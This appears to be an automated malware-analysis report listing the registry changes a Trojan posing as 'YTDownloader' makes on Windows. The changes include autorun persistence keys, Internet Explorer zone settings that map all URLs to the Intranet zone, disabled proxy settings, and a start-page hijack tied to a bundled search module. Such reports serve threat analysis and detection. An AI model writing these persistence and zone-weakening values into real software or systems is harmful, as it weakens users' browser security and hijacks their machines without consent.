[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "%Program Files%\YTDownloader\AniGIF.ocx"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"intl" = "http://www.fileextensionpro.com/redir.aspx?s=&LangID=x&Ext=%s"

[HKLM\SOFTWARE\YTDownloader]
"ExeLocation" = "%Program Files%\YTDownloader\YTDownloader.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 21 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\YTDownloader]
"UninstallString" = "%Program Files%\YTDownloader\YTDUninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "%Program Files%\YTDownloader\AniGIF.ocx"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=&LangID=x&Ext=%s"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKLM\SOFTWARE\YTDownloader\Video Converter]
"FFUseConverter" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\YTDownloader]
"Publisher" = "YTDownloader"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "%Program Files%\YTDownloader\AniGIF.ocx, 1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "%Program Files%\YTDownloader\AniGIF.ocx"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "58 C6 65 04 08 96 89 F3 00 79 C4 3F EF 9F E9 5E"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKLM\SOFTWARE\YTDownloader]
"Version" = "1.0.8654.1203"

[HKLM\SOFTWARE\YTDownloader\Video Converter]
"Install" = "%Program Files%\YTDownloader\"

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"XMLLookup" = "http://www.fileextensionpro.com/redir.aspx?s=&LangID=x&Ext=%s&"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCU\Software\YTDownloader]
"Version" = "1.0.8654.1203"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\YTDownloader]
"DisplayIcon" = "%Program Files%\YTDownloader\YTDownloader.exe"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"net.exe" = "Net Command"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\YTDownloader]
"DisplayName" = "YTDownloader"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCR\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCR\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "%Program Files%\YTDownloader\AniGIF.ocx"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\YTDownloader.exe]
"(Default)" = "%Program Files%\YTDownloader\YTDownloader.exe"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "%Program Files%\YTDownloader\"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"YTDownloader" = "%Program Files%\YTDownloader\YTDownloader.exe /boot"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"YTDownloader" = "%Program Files%\YTDownloader\YTDownloader.exe /boot"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following registry key(s):

[HKCR\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"MaxConnectionsPerServer"
"MaxConnectionsPer1_0Server"

The process YTDownloader.exe:220 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\YTDownloader]
"UserId" = "{E52BD65F-C158-4188-925E-6CA55C884986}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 22 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EA F0 C5 1F 0C 5D 9E EF 9E 11 B9 6B 44 74 AD 4E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\YTDownloader]
"UserId" = "{E52BD65F-C158-4188-925E-6CA55C884986}"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process tcpsvcs.exe:2404 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\smu.exe]
"Plus" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Video" = ""

[HKLM\SOFTWARE\SearchModulePlus\Info]
"ExeLocation" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Search Module Plus]
"DisplayIcon" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus\smUninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\SearchModulePlus\Info]
"Aff" = "F8Uzamodk0,99999999-9999-4a7b-8b22-89b0557cc446,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\SearchModulePlus\Info]
"Version" = "2.3.12.1634"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Search Module Plus]
"DisplayName" = "Search Module Plus"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\SearchModulePlus\Info]
"UserId" = "1844237615-1960408961-1801674531"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\smu.exe]
"(Default)" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Templates" = "%Documents and Settings%\All Users\Templates"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Search Module Plus]
"Publisher" = "Goobzo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A7 0E 53 D6 B7 68 AE 62 1A F4 74 0B 1B 32 17 2F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"sc.exe" = "A tool to aid in developing services for WindowsNT"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Search Module Plus]
"UninstallString" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus\smUninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\smu.exe]
"Install" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process tcpsvcs.exe:2144 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Video" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Templates" = "%Documents and Settings%\All Users\Templates"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "59 D4 5A 43 EF 24 09 DD 0B 60 AC 09 83 6E 74 2B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www-searching.com/?pid=s&s=F8Uzamodk0,99999999-9999-4a7b-8b22-89b0557cc446&vp=ch&prd=set"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process find.exe:432 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "39 FE 46 89 31 30 C7 0D 5E EB C8 A6 BA 9D B1 38"

Dropped PE files

MD5 File path
